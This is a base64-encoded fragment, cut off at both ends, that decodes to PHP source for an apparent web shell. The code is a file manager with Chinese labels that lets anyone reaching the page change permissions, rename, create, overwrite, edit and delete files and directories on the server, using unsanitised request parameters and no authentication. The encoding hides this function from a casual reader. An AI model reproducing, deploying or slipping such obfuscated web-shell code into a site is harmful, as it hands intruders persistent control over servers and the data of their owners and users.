nY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVD